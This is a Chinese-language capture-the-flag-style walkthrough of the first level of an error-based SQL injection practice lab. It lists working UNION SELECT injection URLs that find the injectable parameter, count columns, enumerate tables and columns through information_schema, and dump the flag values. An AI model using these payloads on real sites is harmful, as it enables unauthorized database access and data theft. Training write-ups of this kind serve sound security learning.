SQL注入-显错注入Rank 1

链接
http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1

SQL注入-显错注入Rank 1_第1张图片1.首先找注入点:
http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=2-1
id=2-1在数据库执行了,找到注入点
SQL注入-显错注入Rank 1_第2张图片
2.利用order by猜测字段数
如下,当order by 3能正常返回数据 order by 4无正常回显,说明字段数为3.
SQL注入-显错注入Rank 1_第3张图片order by 4如下:
SQL注入-显错注入Rank 1_第4张图片
3.利用联合查询 union获取数据库信息
如下:回显在 2,3位置
SQL注入-显错注入Rank 1_第5张图片
3.1 接下来获取当前的数据库名:
当前数据库名为:error

SQL注入-显错注入Rank 1_第6张图片
3.2 接下来获取表名
http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
error_flag
http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,2
user

获取error数据库两张表 error_flag,user
SQL注入-显错注入Rank 1_第7张图片

3.3 接下来获取字段名
http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’ and database()=‘error’ limit 0,1-- qwe
字段1:Id

SQL注入-显错注入Rank 1_第8张图片
字段2:flag
http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’ and database()=‘error’ limit 1,2-- qwe

SQL注入-显错注入Rank 1_第9张图片
字段3:木有
http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’ and database()=‘error’ limit 2,3-- qwe

SQL注入-显错注入Rank 1_第10张图片
3.4 获取error_flag表的数据
http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,flag from error_flag limit 0,1-- qwe
zKaQ-NF

SQL注入-显错注入Rank 1_第11张图片
http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,flag from error_flag limit 1,2-- qwe

zKaQ-XiaoFang
SQL注入-显错注入Rank 1_第12张图片

你可能感兴趣的:(SQL注入,安全)